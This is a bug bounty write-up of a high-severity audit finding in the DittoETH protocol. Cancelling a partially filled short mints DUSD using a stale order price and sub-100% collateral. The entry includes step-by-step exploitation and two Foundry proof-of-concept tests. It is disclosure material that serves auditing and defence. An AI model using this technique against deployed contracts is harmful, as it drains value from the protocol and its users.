# DUSD assets can be minted with less ETH collateral than required

Cancelling a partially-filled short below minShortErc mints DUSD using stale shortOrder.price and sub-100% CR, yielding under-collateralized free DUSD.

- Payout: Audit contest
- Severity: high
- Program: DittoETH
- Found by: serial-coder
- Disclosed: 2024-07-29
- Write-up quality: 8/10
- Original: https://github.com/code-423n4/2024-07-dittoeth-findings/issues/8
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-dittoeth%3AH-02
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:incomplete-fix technique:source-review vuln:accounting-error vuln:business-logic

**Target:** OrdersFacet/LibOrders cancelShort on DUSD short records
**Root cause:** collateralDiff is computed from the stale shortOrder.price and shortOrder.shortOrderCR (which can be <100%) instead of current oracle price and initialCR, so minted debtDiff exceeds the collateral charged.
**Steps:**
1. Set initialCR=170, penaltyCR=120, liquidationCR=150 via diamond setters.
2. Create a limit bid (1 ether, 0.01 ether) so a matching short becomes SR.PartialFill.
3. createLimitShort at price=1 ether, 5000 ether, CR=70% with depositEth covering 70% of debt plus ethInitial.
4. Confirm short.status == SR.PartialFill.
5. Call `cancelShort(101)` as the short owner.
6. Observe short.ercDebt == 2000 ether minted while collateral only reflects 70% CR; alternatively raise oracle price to 1.5 ether before cancel to mint at stale 1 ether price.
**How found:** Regression check against prior audit finding H-03: reviewer re-read LibOrders.cancelShort and noticed the collateralDiff formula still used shortOrder.price and shortOrder.shortOrderCR rather than current price/initialCR, then reproduced with modified nonseodion tests.
**Exploitation:** Attacker opens a limit short that only partially fills (ercDebt < minShortErc), then cancels it; cancelShort virtually mints debtDiff DUSD to reach minShortErc but charges collateralDiff computed from stale shortOrder.price and sub-100% shortOrderCR, so attacker receives DUSD worth more than the ETH collateral spent.
**Escalation:** Repeated across shorts and/or combined with oracle price movement (PoC #2) to leave a liquidatable position while extracting free DUSD, risking DUSD de-peg.
**Insight:** When a fix references a prior audit, verify the exact arithmetic path still uses live oracle price and protocol-minimum CR rather than order-time snapshots; partial-fill cleanup paths that top up to minShortErc are prime spots for stale-price under-collateralization.

## Proof of concept (copied exactly from the original report)

**PoC test_MintFreeDUSD minting DUSD with 70% CR**

```
function test_MintFreeDUSD() public { // PoC #1
    // Set the initial, penalty and liquidation CRs
    vm.startPrank(owner);
    // Set below 200 to allow shorter provide less than 100% of debt
    diamond.setInitialCR(asset, 170); 
    diamond.setPenaltyCR(asset, 120);
    diamond.setLiquidationCR(asset, 150);
    vm.stopPrank();

    // Create a bid to match the short and change its state to SR.PartialFill
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);

    // How to calculate the ethInitial:
    //      minEth = price.mul(minShortErc);
    //      diffCR = initialCR - CR;
    //      ethInitial = minEth.mul(diffCR);
    uint88 ethInitial = 2000 ether;

    // Create the short providing only 70% of the dusd to be minted
    uint88 price = 1 ether;
    depositEth(sender, price.mulU88(5000 ether).mulU88(0.7 ether) + ethInitial);
    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 70);

    STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
    // Successfully matches the bid
    assertTrue(short.status == SR.PartialFill);
    
    // Cancel the short to use up collateral provided and mint dusd
    vm.prank(sender);
    cancelShort(101);

    short = getShortRecord(sender, C.SHORT_STARTING_ID);
    assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
    assertEq(short.collateral, 0.01 ether + 0.7 * 2000 ether + ethInitial); // 70% of ETH collateral provided

    // The position is no longer liquidatable because the developer has improved 
    // how to source more collateral if CR < initialCR in the createLimitShort().
    // However, we can still use the CR of 70% to calculate the collateral
    // whose value is less than the value of DUSD that gets minted.
}
```

**PoC test_MintBelowPrice minting at stale price**

```
function test_MintBelowPrice() public { // PoC #2
    // Create a bid to match the short and change its state to SR.PartialFill
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);

    // Create the short providing 500% of the dusd to be minted
    // Current initialCR is 500%
    uint88 price = 1 ether;
    depositEth(sender, price.mulU88(5000 ether).mulU88(5 ether));
    uint16[] memory shortHintArray = setShortHintArray();
    MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
    vm.prank(sender);
    diamond.createLimitShort(asset, uint80(price), 5000 ether, orderHintArray, shortHintArray, 500);

    STypes.ShortRecord memory short = getShortRecord(sender, C.SHORT_STARTING_ID);
    assertTrue(short.status == SR.PartialFill); // CR is partially filled by bid
    
    // Set the new price to 1.5 ether so that price increase
    uint256 newPrice = 1.5 ether;
    skip(15 minutes);
    ethAggregator.setRoundData(
        92233720368547778907 wei, int(newPrice.inv()) / ORACLE_DECIMALS, block.timestamp, block.timestamp, 92233720368547778907 wei
    );
    fundLimitBidOpt(1 ether, 0.01 ether, receiver);
    assertApproxEqAbs(diamond.getProtocolAssetPrice(asset), newPrice, 15000000150);

    // Cancel the short to mint at 1 ether instead of 1.5 ether
    vm.prank(sender);
    cancelShort(101);

    short = getShortRecord(sender, C.SHORT_STARTING_ID);
    assertEq(short.ercDebt, 2000 ether); // 2000 dusd minted
    // 2000 dusd minted for 10000 ether (500% at price of 1 ether) 
    // instead of 15000 ether (500% at price of 1.5 ether)
    assertEq(short.collateral, 0.01 ether + 5*2000 ether);

    // Position is liquidatable
    assertGt( diamond.getAssetNormalizedStruct(asset).liquidationCR, short.collateral.div(short.ercDebt.mul(1.5 ether)));
}
```

